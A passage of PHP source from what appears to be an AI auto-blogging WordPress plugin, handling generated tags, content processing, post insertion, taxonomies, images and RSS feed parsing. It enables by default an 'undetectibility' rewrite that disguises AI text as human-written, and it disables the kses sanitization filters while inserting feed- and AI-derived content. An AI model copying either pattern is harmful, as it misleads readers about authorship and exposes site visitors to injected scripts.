AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($tag_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $tag_ai_command = aiomatic_substr($tag_ai_command, 0, $string_len); $tag_ai_command = trim($tag_ai_command); if(empty($tag_ai_command)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($tag_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($tag_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $tag_ai_command = $global_prepend . ' ' . $tag_ai_command; } if(!empty($global_append)) { $tag_ai_command = $tag_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $tag_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $tag_model . ') for tag generator: ' . $tag_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags')); $generated_text = aiomatic_generate_text($token, $tag_model, $tag_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'tagID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Tag generator error: ' . $aierror); break; } else { $ai_tags = $generated_text; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $tag_model); aiomatic_log_to_file('Successfully got API tag result from ' . $api_service . ': ' . $generated_text); } } $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $ai_tags; $my_post['extra_tags'] = $ai_tags; } else { $post_the_tags = $item_create_tag_sp; $my_post['extra_tags'] = ''; } $my_post['tags_input'] = $post_the_tags; $new_post_content = html_entity_decode($new_post_content); $new_post_content = str_replace('', '', $new_post_content); if ($videos == '1') { $new_vid = aiomoatic_get_video($new_post_title); if($new_vid !== false) { $new_post_content .= $new_vid; } } if ($strip_by_regex !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $new_post_content); if($temp_cont !== NULL) { $new_post_content = $temp_cont; } } } $post_prepender = replaceAIPostShortcodes($post_prepend, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $post_prepender = aiomatic_replacetopics($post_prepender, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $post_appender = replaceAIPostShortcodes($post_append, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $post_appender = aiomatic_replacetopics($post_appender, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $post_appender = aiomatic_replaceSynergyShortcodes($post_appender); $post_prepender = aiomatic_replaceSynergyShortcodes($post_prepender); if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on') { $new_post_content = nl2br($new_post_content); } if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') { $new_post_content = aiomatic_remove_parasite_phrases($new_post_content); if(!isset($xchars)) { $xchars = array(); } $rand_percentage = rand(10, 20); $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage); } $zlang = 'en_US'; if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) { $zlang = $aiomatic_Main_Settings['kw_lang']; } $rel_search = array('post_title', 'post_content'); if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) { $rel_search = $aiomatic_Main_Settings['rel_search']; } if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled') { try { $new_post_content = $inboundlinker->add_inbound_links($new_post_content, $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow); } catch(Exception $ex) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to add inbound links to content: ' . $ex->getMessage()); } } } if($ret_content == 1) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Returning AI generated content, finished.'); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing')); return array($post_prepender . ' ' . $new_post_content . ' ' . $post_appender, $new_post_title); } $the_final_cont = $post_prepender . ' ' . $new_post_content . ' ' . $post_appender; $my_post['post_content'] = $the_final_cont; if(stristr($my_post['post_content'], '
            <') !== false)
                                    {
                                        if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                        {
                                            $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                        }
                                    }
                                    $my_post['post_title']           = $new_post_title;
                                    $my_post['aiomatic_source_title']   = $post_title;
                                    $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                    $my_post['aiomatic_post_format'] = $post_format;
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') 
                                    {
                                        if(is_array($default_category))
                                        {
                                            $cextra = '';
                                            foreach($default_category as $dc)
                                            {
                                                $cextra .= ',' . get_cat_name($dc);
                                            }
                                            $extra_categories_temp = trim( $cextra . ',' . $extra_categories, ',');
                                        }
                                        else
                                        {
                                            $extra_categories_temp = trim(get_cat_name($default_category) . ',' .$extra_categories, ',');
                                        }
                                    }
                                    else
                                    {
                                        $extra_categories_temp = $extra_categories;
                                    }
                                    $block_arr = array();
                                    $custom_arr = array();
                                    if($custom_fields != '')
                                    {
                                        if(stristr($custom_fields, '=>') != false)
                                        {
                                            $rule_arr = explode(',', trim($custom_fields));
                                            foreach($rule_arr as $rule)
                                            {
                                                $my_args = explode('=>', trim($rule));
                                                if(isset($my_args[1]))
                                                {
                                                    $my_args[1] = do_shortcode($my_args[1]);
                                                    $my_args[0] = do_shortcode($my_args[0]);
                                                    $custom_field_content = trim($my_args[1]);
                                                    $custom_field_content = replaceAIPostShortcodes($custom_field_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $custom_field_content = aiomatic_replacetopics($custom_field_content, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                    $custom_field_content = aiomatic_replaceSynergyShortcodes($custom_field_content);
                                                    $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                    $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                    if(stristr($my_args[1], 'serialize_') !== false)
                                                    {
                                                        $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                    }
                                                    else
                                                    {
                                                        if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                        {
                                                            preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                            if(isset($cfm[2][0]))
                                                            {
                                                                if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                                {
                                                                    $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                                }
                                                                else
                                                                {
                                                                    $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                                }
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $extra_categories_temp, 'aiomatic_post_tags' => $post_the_tags));
                                    $custom_tax_arr = array();
                                    if($custom_tax != '')
                                    {
                                        if(stristr($custom_tax, '=>') != false)
                                        {
                                            $rule_arr = explode(';', trim($custom_tax));
                                            foreach($rule_arr as $rule)
                                            {
                                                $my_args = explode('=>', trim($rule));
                                                if(isset($my_args[1]))
                                                {
                                                    $custom_tax_content = trim($my_args[1]);
                                                    $custom_tax_content = replaceAIPostShortcodes($custom_tax_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                    $custom_tax_content = aiomatic_replacetopics($custom_tax_content, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                                    $custom_tax_content = aiomatic_replaceSynergyShortcodes($custom_tax_content);
                                                    $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                    $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                    if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                    {
                                                        if(isset($custom_arr['_product_attributes']))
                                                        {
                                                            $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                                'name' => trim($my_args[0]),
                                                                'value' => $custom_tax_content,
                                                                'is_visible' => '1',
                                                                'is_taxonomy' => '1'
                                                            )));
                                                        }
                                                        else
                                                        {
                                                            $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                                'name' => trim($my_args[0]),
                                                                'value' => $custom_tax_content,
                                                                'is_visible' => '1',
                                                                'is_taxonomy' => '1'
                                                            ));
                                                        }
                                                    }
                                                    if(isset($custom_tax_arr[trim($my_args[0])]))
                                                    {
                                                        $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                    }
                                                    else
                                                    {
                                                        $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if(count($custom_tax_arr) > 0)
                                    {
                                        $my_post['taxo_input'] = $custom_tax_arr;
                                    }
                                    $my_post['meta_input'] = $custom_arr;
                                    if($parent_id != '')
                                    {
                                        $my_post['post_parent'] = intval($parent_id);
                                    }
                                    if ($enable_pingback == '1') {
                                        $my_post['ping_status'] = 'open';
                                    } else {
                                        $my_post['ping_status'] = 'closed';
                                    }
                                    if($min_time != '' && $max_time != '')
                                    {
                                        $t1 = strtotime($min_time);
                                        $t2 = strtotime($max_time);
                                        if($t1 != false && $t2 != false)
                                        {
                                            $int = rand($t1, $t2);
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                        }
                                    }
                                    elseif($min_time != '')
                                    {
                                        $t1 = strtotime($min_time);
                                        if($t1 != false)
                                        {
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                        }
                                    }
                                    elseif($max_time != '')
                                    {
                                        $t1 = strtotime($max_time);
                                        if($t1 != false)
                                        {
                                            $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                        }
                                    }
                                    $count++;
                                }
                                else
                                {
                                    aiomatic_log_to_file('Unknown posting mode submitted: ' . $posting_mode . '!');
                                    if($auto == 1)
                                    {
                                        aiomatic_clearFromList($param, $type);
                                    }
                                    return 'fail';
                                }
                                if($update_post_id != '')
                                {
                                    $my_post['ID'] = $update_post_id;
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                try
                                {
                                    $post_id = wp_insert_post($my_post, true);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                }
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if (!is_wp_error($post_id)) {
                                    if($post_id === 0)
                                    {
                                        aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                        continue;
                                    }
                                    $posts_inserted++;
                                    if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                    {
                                        pll_set_post_language($post_id, $wpml_lang);
                                    }
                                    $default_categories = array();
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $default_categories = wp_get_post_categories($post_id);
                                    }
                                    if(isset($my_post['taxo_input']))
                                    {
                                        foreach($my_post['taxo_input'] as $taxn => $taxval)
                                        {
                                            $taxn = trim($taxn);
                                            $taxval = trim($taxval);
                                            if(is_taxonomy_hierarchical($taxn))
                                            {
                                                $taxval = array_map('trim', explode(',', $taxval));
                                                for($ii = 0; $ii < count($taxval); $ii++)
                                                {
                                                    if(!is_numeric($taxval[$ii]))
                                                    {
                                                        $term_ids = [];
                                                        $parent_id = 0;
                                                        $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                        foreach($hierarchy_parts as $hp)
                                                        {
                                                            if(!is_numeric($hp))
                                                            {
                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                if($xtermid !== false)
                                                                {
                                                                    $parent_id = $xtermid->term_id;
                                                                    if(!is_numeric($taxval[$ii]))
                                                                    {
                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                    }
                                                                    else
                                                                    {
                                                                        $taxval[] = intval($xtermid->term_id);
                                                                    }
                                                                }
                                                                else
                                                                {
                                                                    wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                    $xtermid = get_term_by('name', $hp, $taxn);
                                                                    if($xtermid !== false)
                                                                    {
                                                                        $parent_id = $xtermid->term_id;
                                                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                        {
                                                                            pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                        }
                                                                        elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                        {
                                                                            $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                            $pars['element_id'] = $xtermid->term_id;
                                                                            $pars['element_type'] = $wpml_element_type;
                                                                            $pars['language_code'] = $wpml_lang;
                                                                            $pars['trid'] = FALSE;
                                                                            $pars['source_language_code'] = NULL;
                                                                            do_action('wpml_set_element_language_details', $pars);
                                                                        }
                                                                        if(!is_numeric($taxval[$ii]))
                                                                        {
                                                                            $taxval[$ii] = intval($xtermid->term_id);
                                                                        }
                                                                        else
                                                                        {
                                                                            $taxval[] = intval($xtermid->term_id);
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            else
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $taxval[$ii] = intval($hp);
                                                                }
                                                                else
                                                                {
                                                                    $taxval[] = intval($hp);
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                wp_set_post_terms($post_id, $taxval, $taxn, true);
                                            }
                                            else
                                            {
                                                $jterms = array_map('trim', explode(',', $taxval));
                                                wp_set_post_terms($post_id, $jterms, $taxn, true);
                                            }
                                        }
                                    }
                                    if (isset($my_post['aiomatic_post_format']) && $my_post['aiomatic_post_format'] != '' && $my_post['aiomatic_post_format'] != 'post-format-standard') {
                                        wp_set_post_terms($post_id, $my_post['aiomatic_post_format'], 'post_format', true);
                                    }
                                    $featured_path = '';
                                    $get_img = $my_post['aiomatic_post_image'];
                                    if ($get_img != '') {
                                        if($my_post['aiomatic_local_image'] == '1')
                                        {
                                            $local_get_img = $get_img[0];
                                            if (!aiomatic_assign_featured_image_path($local_get_img, $post_id)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed for ' . $local_get_img);
                                                }
                                            } else {
                                                $featured_path = $get_img[1];
                                            }
                                        }
                                        else
                                        {
                                            if(is_numeric($get_img))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($get_img, $post_id);
                                            }
                                            else
                                            {
                                                if (!aiomatic_generate_featured_image($get_img, $post_id)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $get_img);
                                                    }
                                                } else {
                                                    $featured_path = $get_img;
                                                }
                                            }
                                        }
                                    }
                                    if($featured_path == '')
                                    {
                                        if ($image_url != '') {
                                            $replacement = str_replace(array('[', ']'), '', $my_post['post_title']);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($my_post['post_title'], $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                            }
                                            else
                                            {
                                                $img_rulx = $selected_img;
                                            }
                                            if(is_numeric($img_rulx))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($img_rulx, $post_id);
                                            }
                                            else
                                            {
                                                if($img_rulx != '')
                                                {
                                                    if (!aiomatic_generate_featured_image($img_rulx, $post_id)) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('aiomatic_generate_featured_image failed to default value: ' . $img_rulx . '!');
                                                        }
                                                    } else {
                                                        $featured_path = $img_rulx;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if ($auto_categories != 'disabled') {
                                        if ($my_post['extra_categories'] != '') {
                                            $extra_cats = explode(',', $my_post['extra_categories']);
                                            if($post_type == 'product')
                                            {
                                                $product_tax = 'product_cat';
                                            }
                                            else
                                            {
                                                $product_tax = 'category';
                                            }
                                            foreach($extra_cats as $extra_cat)
                                            {
                                                $extra_cat = trim($extra_cat);
                                                $extra_cat = strip_tags($extra_cat);
                                                $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                                if(empty($extra_cat))
                                                {
                                                    continue;
                                                }
                                                if ($skip_inexist == '1') 
                                                {
                                                    if(!term_exists($extra_cat, $product_tax))
                                                    {
                                                        continue;
                                                    }
                                                }
                                                $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                                wp_set_post_terms($post_id, $termid, $product_tax, true);
                                                if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                {
                                                    foreach($termid as $tx)
                                                    {
                                                        pll_set_term_language($tx, $wpml_lang); 
                                                    }
                                                }
                                                elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                {
                                                    $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                    foreach($termid as $tx)
                                                    {
                                                        $pars['element_id'] = $tx;
                                                        $pars['element_type'] = $wpml_element_type;
                                                        $pars['language_code'] = $wpml_lang;
                                                        $pars['trid'] = FALSE;
                                                        $pars['source_language_code'] = NULL;
                                                        do_action('wpml_set_element_language_details', $pars);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    if (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678') {
                                        $cats   = array();
                                        if(is_array($default_category))
                                        {
                                            foreach($default_category as $dc)
                                            {
                                                $cats[] = $dc;
                                            }
                                        }
                                        else
                                        {
                                            $cats[] = $default_category;
                                        }
                                        global $sitepress;
                                        if($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $current_language = apply_filters( 'wpml_current_language', NULL );
                                            $sitepress->switch_lang($wpml_lang);
                                        }
                                        wp_set_post_categories($post_id, $cats, true);
                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                        {
                                            foreach($cats as $cc)
                                            {
                                                pll_set_term_language($cc, $wpml_lang);
                                            }
                                        }
                                        elseif($wpml_lang != '' && has_filter('wpml_current_language') && $sitepress != null)
                                        {
                                            $sitepress->switch_lang($current_language);
                                        }
                                    }
                                    if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                        }
                                    }
                                    $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                    if (is_wp_error($tax_rez)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                        }
                                    }
                                    if($post_type == 'topic' && $parent_id != '')
                                    {
                                        update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                        update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                        update_post_meta($post_id, '_bbp_voice_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                        update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                        update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                        update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                        do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                    }
                                    if($post_type == 'reply' && $parent_id != '')
                                    {
                                        if(function_exists('bbp_get_topic_forum_id'))
                                        {
                                            $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                            if(empty($forum_aidi))
                                            {
                                                $forum_aidi = 0;
                                            }
                                        }
                                        else
                                        {
                                            $forum_aidi = 0;
                                        }
                                        do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                    }
                                    if($remove_default == '1' && ($auto_categories != 'disabled' || (isset($default_category) && $default_category !== 'aiomatic_no_category_12345678' && $default_category[0] !== 'aiomatic_no_category_12345678')))
                                    {
                                        $new_categories = wp_get_post_categories($post_id);
                                        if(isset($default_categories) && !($default_categories == $new_categories))
                                        {
                                            foreach($default_categories as $dc)
                                            {
                                                $rem_cat = get_category( $dc );
                                                wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                            }
                                        }
                                    }
                                    aiomatic_addPostMeta($post_id, $my_post, $param, $type, $featured_path, $post_topic, $rule_unique_id, $post_link);
                                    if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                    {
                                        $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                        $pars['element_id'] = $post_id;
                                        $pars['element_type'] = $wpml_element_type;
                                        $pars['language_code'] = $wpml_lang;
                                        $pars['source_language_code'] = NULL;
                                        do_action('wpml_set_element_language_details', $pars);
            
                                        global $wp_filesystem;
                                        if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                                            include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                                            wp_filesystem($creds);
                                        }
                                        if($wp_filesystem->exists(WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php'))
                                        {
                                            include_once( WP_PLUGIN_DIR . '/sitepress-multilingual-cms/inc/wpml-api.php' );
                                        }
                                        $wpml_lang = trim($wpml_lang);
                                        if(function_exists('wpml_update_translatable_content'))
                                        {
                                            wpml_update_translatable_content('post_' . $post_type, $post_id, $wpml_lang);
                                            if($my_post['post_title'] != '')
                                            {
                                                global $sitepress;
                                                global $wpdb;
                                                $keyid = md5($my_post['post_title']);
                                                $keyName = $keyid . '_wpml';
                                                $rezxxxa = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}postmeta WHERE `meta_key` = '$keyName' limit 1", ARRAY_A );
                                                if(count($rezxxxa) != 0)
                                                {
                                                    $metaRow = $rezxxxa[0];
                                                    $metaValue = $metaRow['meta_value'];
                                                    $metaParts = explode('_', $metaValue);
                                                    $sitepress->set_element_language_details($post_id, 'post_'.$my_post['post_type'] , $metaParts[0], $wpml_lang, $metaParts[1] ); 
                                                }
                                                else
                                                {
                                                    $ptrid = $sitepress->get_element_trid($post_id);
                                                    update_post_meta($post_id, $keyid.'_wpml', $ptrid.'_'.$wpml_lang );
                                                }
                                            }
                                            
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] == 'on' && $draft_me == true)
                                    {
                                        aiomatic_change_post_status($post_id, 'publish');
                                    }
                                } else {
                                    aiomatic_log_to_file('Failed to insert post into wp database(1)! Title:' . $my_post['post_title'] . '! Error: ' . $post_id->get_error_message() . 'Error code: ' . $post_id->get_error_code() . 'Error data: ' . $post_id->get_error_data());
                                    continue;
                                }
                            }
                        }
                        elseif($type == '1')
                        {
                            if($default_lang != '')
                            {
                                $default_lang = explode(',', $default_lang);
                                $default_lang = array_map( 'trim', $default_lang );
                            }
                            else
                            {
                                $default_lang = array();
                            }
                            $url_list_lines = array();
                            if($url_list != '')
                            {
                                $url_list_lines = preg_split('/\r\n|\r|\n/', $url_list);
                            }
                            else
                            {
                                aiomatic_log_to_file('You need to enter a YouTube video URL to use this feature!');
                                if($auto == 1)
                                {
                                    aiomatic_clearFromList($param, $type);
                                }
                                return 'fail';
                            }
                            $additional_kws = array();
                            $post_link = '';
                            $user_name        = '';
                            $featured_image   = '';
                            $post_cats = '';
                            $post_tagz = '';
                            $post_excerpt = '';
                            $final_content = '';
                            $postID = '';
                            $heading_val = '';
                            $image_query = '';
                            $temp_post = '';
                            $cntx = count($url_list_lines);
                            $rss_feeds = array();
                            for($ji = 0; $ji < $cntx; $ji++)
                            {
                                if (filter_var($url_list_lines[$ji], FILTER_VALIDATE_URL) !== false && stristr($url_list_lines[$ji], 'youtu') === false) 
                                {
                                    if(aiomatic_endsWith($url_list_lines[$ji], '.txt'))
                                    {
                                        $txt_content = aiomatic_get_web_page($url_list_lines[$ji]);
                                        if ($txt_content === FALSE) 
                                        {
                                            aiomatic_log_to_file('Failed to read text file: ' . $url_list_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        unset($url_list_lines[$ji]);
                                        $additional_kws = preg_split('/\r\n|\r|\n/', $txt_content);
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Trying to parse RSS feed items: ' . $url_list_lines[$ji]);
                                        try
                                        {
                                            if(!class_exists('SimplePie_Autoloader', false))
                                            {
                                                require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php");
                                            }
                                        }
                                        catch(Exception $e) 
                                        {
                                            aiomatic_log_to_file('Exception thrown in SimplePie autoloader: ' . $e->getMessage());
                                            if($auto == 1)
                                            {
                                                aiomatic_log_to_file($param);
                                            }
                                            continue;
                                        }
                                        $feed = new SimplePie();
                                        $feed->set_timeout(120);
                                        $feed->set_feed_url($url_list_lines[$ji]);
                                        $feed->enable_cache(false);
                                        $feed->strip_htmltags(false);
                                        $feed->init();
                                        $feed->handle_content_type();
                                        if ($feed->error()) 
                                        {
                                            aiomatic_log_to_file('Error in parsing RSS feed: ' . $feed->error() . ' for ' . $url_list_lines[$ji]);
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            continue;
                                        }
                                        $items = $feed->get_items();
                                        $zero = true;
                                        foreach($items as $itemx)
                                        {
                                            if($zero == true)
                                            {
                                                $post_link = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link]))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Skipping RSS title because it was already processed before: ' . $itemx->get_title());
                                                    }
                                                    continue;
                                                }
                                                if ($fauthor = $itemx->get_author()) 
                                                {
                                                    $user_name = $fauthor->get_name();
                                                }
                                                else
                                                {
                                                    $user_name = '';
                                                }
                                                $feed_cats = array();
                                                if(isset($itemx->category))
                                                {
                                                    foreach($itemx->category as $cata)
                                                    {
                                                        $feed_cats[] = $cata->__toString();
                                                    }
                                                    if(count($feed_cats) == 0)
                                                    {
                                                        $feed_cats[] = $itemx->category->__toString();
                                                    }
                                                    $post_cats = implode(',', $feed_cats);
                                                }
                                                else
                                                {
                                                    $post_cats = '';
                                                }
                                                $post_excerpt = $itemx->get_description();
                                                $final_content = $itemx->get_content();
                                                $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name,  'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content );
                                            }
                                            else
                                            {
                                                $post_link_temp = trim($itemx->get_permalink());
                                                if(isset($rss_items[$post_link_temp]))
                                                {
